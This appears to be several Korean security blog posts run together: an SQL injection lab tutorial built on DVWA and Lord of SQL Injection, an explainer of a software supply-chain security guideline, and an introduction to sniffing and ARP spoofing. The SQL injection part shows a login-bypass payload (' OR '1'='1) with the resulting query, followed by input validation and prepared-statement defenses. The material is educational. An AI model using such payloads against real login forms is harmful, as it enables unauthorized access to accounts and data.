
오늘 우리는 위 과정을 통해 Python 스크립트를 작성하고,

매달 자동으로 실행되도록 설정하는 방법을 배웠습니다.

이러한 자동화를 통해 보안을 효율적으로 관리하고, 중요한 문제를 미리 예방할 수 있습니다.

문의사항은 댓글로 남겨주세요!

궁금하신 사항은 댓글에 남겨주세요

댓글에 남겨주신 내용은

추후 정리해서 올려드리겠습니다

이웃 신청하시면 업로드 시 알려드릴게요!

-

조금이라도 도움이 되셨다면

공감&댓글 부탁드리겠습니다

감사합니다!

SQL 인젝션

SQL 인젝션은 웹 애플리케이션의 입력값을 조작하여 악의적인 SQL 구문을 삽입,

데이터베이스에 비정상적인 접근을 시도하는 공격 방법입니다.

이를 통해 공격자는 민감한 데이터 탈취, 데이터베이스 수정,

관리 권한 획득 등의 피해를 발생시킬 수 있습니다.

국내 은행사의 개인정보 탈취사건,

대형 어플의 개인정보 유출 등도 이에 해당합니다.

이번 실습에서는 SQL 인젝션을 통해 로그인 우회 및 데이터 탈취를 시도하고,

이를 방어하는 방법을 학습합니다.

1. 실습 환경 구축

SQL 인젝션을 실습하기 위해 안전한 환경을 구축하는 방법을 설명합니다.

1.1 가상 머신 설치

개념 설명

가상 머신(Virtual Machine)은 하나의 컴퓨터에서 여러 운영체제를 실행할 수 있게 해주는 소프트웨어입니다. 이를 통해 실제 시스템을 손상시키지 않고 다양한 실험을 할 수 있습니다.

설정 방법

1. VirtualBox를 다운로드하고 설치합니다.
2. Ubuntu ISO 이미지를 다운로드합니다.
3. VirtualBox에서 새로운 가상 머신을 생성하고 Ubuntu를 설치합니다.

1.2 LAMP 스택 설치

개념 설명

LAMP 스택은 웹 서버를 구축하기 위한 필수 소프트웨어의 조합으로, Linux, Apache, MySQL, PHP로 구성됩니다.

각 구성 요소 설명 및 기능

1. Linux: 운영체제(OS)로, LAMP 스택의 기본 플랫폼을 제공합니다.
2. Apache: 웹 서버 소프트웨어로, 클라이언트로부터 HTTP 요청을 처리하고 응답을 보냅니다.
3. MySQL: 관계형 데이터베이스 관리 시스템(RDBMS)으로, 데이터를 저장하고 관리합니다.
4. PHP: 서버 사이드 스크립트 언어로, 동적인 웹 페이지를 생성합니다.

설치 방법

1. 터미널을 열고 다음 명령어를 실행합니다:

sudo apt update
sudo apt install apache2 mysql-server php libapache2-mod-php php-mysql

1.3 DVWA 설치

개념 설명

DVWA(Damn Vulnerable Web Application)는 의도적으로 취약점을 포함하고 있어 보안 연습에 사용되는 웹 애플리케이션입니다.

설치 방법

1. DVWA를 다운로드하고 Apache 웹 루트 디렉토리로 이동합니다:

sudo apt install git
git clone https://github.com/digininja/DVWA.git /var/www/html/dvwa
sudo chown -R www-data:www-data /var/www/html/dvwa

    2. MySQL에서 DVWA 데이터베이스를 설정합니다:

sudo mysql -u root -p
CREATE DATABASE dvwa;
CREATE USER 'dvwa'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwa'@'localhost';
FLUSH PRIVILEGES;
exit;

    3. DVWA 설정 파일을 수정합니다:

sudo nano /var/www/html/dvwa/config/config.inc.php

설정 파일 내용:

$_DVWA = array();
$_DVWA[ 'db_server' ] = 'localhost';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'dvwa';
$_DVWA[ 'db_password' ] = 'password';

    4. Apache 서버를 재시작합니다:

sudo systemctl restart apache2

2. Lord of SQL Injection 실습

2.1 사이트 소개

개념 설명

Lord of SQL Injection은 다양한 SQL 인젝션 문제를 제공하여 실습할 수 있는 웹사이트입니다.

접속 방법

1. 브라우저에서 Lord of SQL Injection에 접속합니다.
2. 제공된 문제를 하나씩 풀어가며 SQL 인젝션을 연습합니다.

2.2 예시 문제 해결

시나리오 설명

SQL 인젝션은 사용자가 입력한 데이터를 이용해 악의적인 SQL 쿼리를 실행하는 공격 방법입니다. 이번 실습에서는 로그인 우회 공격을 시도합니다.

로그인 폼에 ' OR '1'='1을 입력하여 SQL 인젝션 시도

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';

모든 사용자 계정에 접근할 수 있습니다.

3. SQL 인젝션 방어 방법

3.1 입력값 검증

개념 설명

사용자 입력값을 철저히 검증하여 악의적인 데이터를 걸러냅니다.

방어 방법

숫자 입력 필드에는 숫자만 입력되도록 검증합니다:

if (!is_numeric($_POST['id'])) {
    die("Invalid ID");
}

3.2 Prepared Statements 사용

개념 설명

SQL 인젝션 공격을 방어하는 가장 효과적인 방법 중 하나는 'Prepared Statements'를 사용하는 것입니다. Prepared Statements는 SQL 쿼리를 안전하게 실행할 수 있게 해주며, 사용자 입력을 쿼리의 일부로 직접 삽입하지 않고 별도로 처리합니다.

Prepared Statements의 작동 원리

• 쿼리 분리: 사용자의 입력을 쿼리 구조에서 분리합니다. 이렇게 하면 입력값이 쿼리의 구조를 변경할 수 없으므로, 악의적인 쿼리 실행이 방지됩니다.
• 파라미터 바인딩: 사용자 입력을 쿼리에 파라미터로 전달합니다. 이 파라미터는 데이터베이스에 의해 안전하게 처리되어 쿼리에 포함됩니다.

방어 방법

PHP에서 Prepared Statements를 사용하는 예시:

$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();

궁금하신 사항은 댓글에 남겨주세요

댓글에 남겨주신 내용은

추후 정리해서 올려드리겠습니다

이웃 신청하시면 업로드 시 알려드릴게요!

-

조금이라도 도움이 되셨다면

공감&댓글 부탁드리겠습니다

감사합니다!

SW 공급망보안 가이드라인 1.0은 기업들이 공급망 보안을 강화하기 위해

지켜야 할 주요 원칙과 실천 사항을 제시합니다.

이 가이드라인을 통해 기업들은 자신들의 공급망을 보다 안전하게 보호하고, 

잠재적인 위협으로부터 방어할 수 있습니다. 

이 문서에서는 가이드라인의 주요 내용을 세밀하게 해설하고, 

기업들이 각 원칙을 어떻게 적용해야 하는지 알아보겠습니다.

1. SW 공급망 보안 관리 체계 구축

1. 보안 정책 수립
    * 정책 작성: 조직의 보안 목표와 원칙을 정의한 보안 정책을 작성합니다.
    * 승인: 최고 경영진의 승인을 받아 정책을 공식화합니다.
    * 배포: 모든 직원에게 정책을 공유하고 이해시킵니다.
2. 조직 구성
    * 보안 책임자 지정: 보안 담당 부서와 책임자를 명확히 지정합니다.
    * 역할 및 책임 정의: 각 부서의 역할과 책임을 문서화하여 명확히 합니다.
3. 교육 및 훈련
    * 교육 프로그램 개발: SW 공급망 보안에 대한 교육 프로그램을 개발합니다.
    * 정기 교육 실시: 모든 직원에게 정기적으로 교육을 실시하고 훈련을 제공합니다.

2. SBOM (소프트웨어 자재명세서) 관리

1. SBOM 생성 및 유지
    * SBOM 생성: 소프트웨어 개발 시 각 구성 요소의 SBOM을 생성합니다.
    * 업데이트: 소프트웨어 변경 시 SBOM을 업데이트하여 최신 상태를 유지합니다.
2. 보안 점검
    * 정기 점검: SBOM을 활용하여 정기적으로 소프트웨어의 보안 취약점을 점검합니다.
    * 취약점 대응: 발견된 보안 취약점에 대해 즉각적인 조치를 취합니다.
3. 자동화 도구 사용
    * 도구 도입: SBOM 생성 및 관리를 자동화할 수 있는 도구를 도입합니다.
    * 자동화 설정: 자동화 도구의 설정을 최적화하여 효율성을 높입니다.

3. 공급업체 보안 관리

1. 평가 기준 수립
    * 기준 정의: 공급업체의 보안 수준을 평가하기 위한 명확한 기준을 설정합니다.
    * 문서화: 평가 기준을 문서화하여 공급업체와 공유합니다.
2. 정기 평가
    * 평가 실시: 정기적으로 공급업체의 보안 상태를 평가합니다.
    * 결과 분석: 평가 결과를 분석하고 개선이 필요한 부분을 식별합니다.
3. 계약서 보안 조항
    * 보안 요구사항 포함: 공급업체와의 계약서에 보안 요구사항을 명시합니다.
    * 준수 확인: 계약 이행 과정에서 보안 요구사항의 준수 여부를 확인합니다.

4. 정보 공유 및 협력

1. 정보 공유 체계 구축
    * 내부 체계 마련: 내부적으로 보안 정보를 공유할 수 있는 체계를 마련합니다.
    * 정보 보호: 공유되는 정보의 기밀성을 유지하기 위한 보호 조치를 실시합니다.
2. 외부 협력 강화
    * 협력 관계 구축: 정부, 산업 협회, 관련 기관과 협력 관계를 구축합니다.
    * 정보 교류: 최신 보안 정보를 주기적으로 교류합니다.
3. 신뢰 기반 정보 공유
    * 신뢰 구축: 공급망 참여자 간 신뢰를 구축하여 안전하게 정보를 공유할 수 있도록 합니다.

5. 보안 사고 대응 계획

1. 사고 대응 팀 구성
    * 팀 구성: 보안 사고 발생 시 즉각 대응할 수 있는 팀을 구성합니다.
    * 역할 분담: 팀 내 각자의 역할을 명확히 분담합니다.
2. 대응 절차 수립
    * 절차 정의: 사고 발생 시 따라야 할 대응 절차를 명확히 정의합니다.
    * 절차 교육: 관련자에게 대응 절차를 교육하고 숙지시킵니다.
3. 모의 훈련
    * 훈련 계획 수립: 정기적으로 보안 사고 대응 모의 훈련을 계획합니다.
    * 훈련 실시: 모의 훈련을 실시하여 대응 능력을 점검하고 개선합니다.

6. 지속적인 개선

1. 정기 평가
    * 평가 계획 수립: 보안 관리 체계를 정기적으로 평가하기 위한 계획을 수립합니다.
    * 실시: 계획에 따라 정기 평가를 실시하고 결과를 분석합니다.
2. 피드백 수집
    * 피드백 요청: 내부 및 외부 이해관계자로부터 피드백을 수집합니다.
    * 반영: 수집된 피드백을 반영하여 보안 관리 체계를 개선합니다.
3. 최신 동향 반영
    * 동향 파악: 최신 보안 위협과 기술 동향을 지속적으로 파악합니다.
    * 업데이트: 파악한 동향을 보안 관리 체계에 반영하여 업데이트합니다.

이상으로 SW 공급망보안 가이드라인 1.0의 주요 내용을 해설했습니다.

기업들은 이 가이드라인을 기반으로 자사의 공급망 보안을 강화하고,

안정적인 운영 환경을 유지하기 위해 노력해야 합니다.

지속적인 보안 관리와 개선을 통해 잠재적 위협에 대비하고, 안정적인 공급망을 구축할 수 있습니다​.

궁금하신 사항은 댓글에 남겨주세요

댓글에 남겨주신 내용은

추후 정리해서 올려드리겠습니다

구독 신청하시면 업로드 시 알려드릴게요!

-

조금이라도 도움이 되셨다면

공감&댓글 부탁드리겠습니다

감사합니다!

스니핑(Sniffing)

스니핑(Sniffing)은 네트워크 상의 데이터 흐름을 감시하고 분석하는 행위로,

해커가 비밀번호, 신용카드 정보, 개인 데이터 등을 불법적으로 취득할 수 있는 해킹 기법 중 하나입니다.

이 기술은 일상생활에서의 데이터 보안에 중대한 영향을 미칠 수 있으므로,

모든 인터넷 사용자가 기본적으로 알아야 할 필수적인 지식입니다.

사전적으로 '스니핑'은 '코를 킁킁거리다'

또는 '냄새를 맡다'와 같은 뜻을 가지고 있습니다.

이처럼 탐지견이 마약을 찾아내듯,

컴퓨터 네트워크에서 스니핑은 통신 중인 데이터 패킷에서 몰래 정보를 추출하는 과정입니다.

쉽게 설명하면,

우체국에서는 많은 편지와 소포가 들어오고 각각의 주소로 분류되어 발송됩니다.

이 편지들이 네트워크에서의 데이터 패킷에 해당하며,

각 편지에는 발신자와 수신자의 주소가 적혀 있습니다.

스니핑을 하는 해커는 이 우체국에서 일하는 직원처럼 모든 편지를 볼 수 있으며,

특정 편지를 몰래 열어보고 그 안의 정보를 읽는 것입니다.

즉, 통신하는 데이터 패킷에서 정보를 몰래 추출하는 과정이죠.

패킷이 무엇인지 궁금하시다면 아래 글을 읽어주세요!

https://jdcyber.tistory.com/12

원리

네트워크에서 데이터는 '패킷'이라는 단위로 전송됩니다.

각 패킷은 송신자와 수신자의 정보, 즉 IP 주소와 물리적 주소인 MAC 주소를 포함합니다.

스니핑 공격자는 이 패킷들을 가로채 정보를 읽어내려고 합니다.

이를 가능하게 하는 대표적인 방법 중 하나가 ARP(Address Resolution Protocol) 스푸핑입니다.

ARP 스푸핑을 통해 공격자는 네트워크 상에서 자신을 다른 장치로 가장하여 데이터를 중간에서 가로챌 수 있습니다.

iP주소와 Mac주소에 대해 모르신다면 아래 글을 읽어주세요!

https://jdcyber.tistory.com/27

https://jdcyber.tistory.com/26

스푸핑, ARP에 대해 모르신다면 아래 글을 읽어주세요!

https://jdcyber.tistory.com/61

궁금하신 사항은 댓글에 남겨주세요

댓글에 남겨주신 내용은

추후 정리해서 올려드리겠습니다

구독 신청하시면 업로드 시 알려드릴게요!

-

조금이라도 도움이 되셨다면

공감&댓글 부탁드리겠습니다

감사합니다!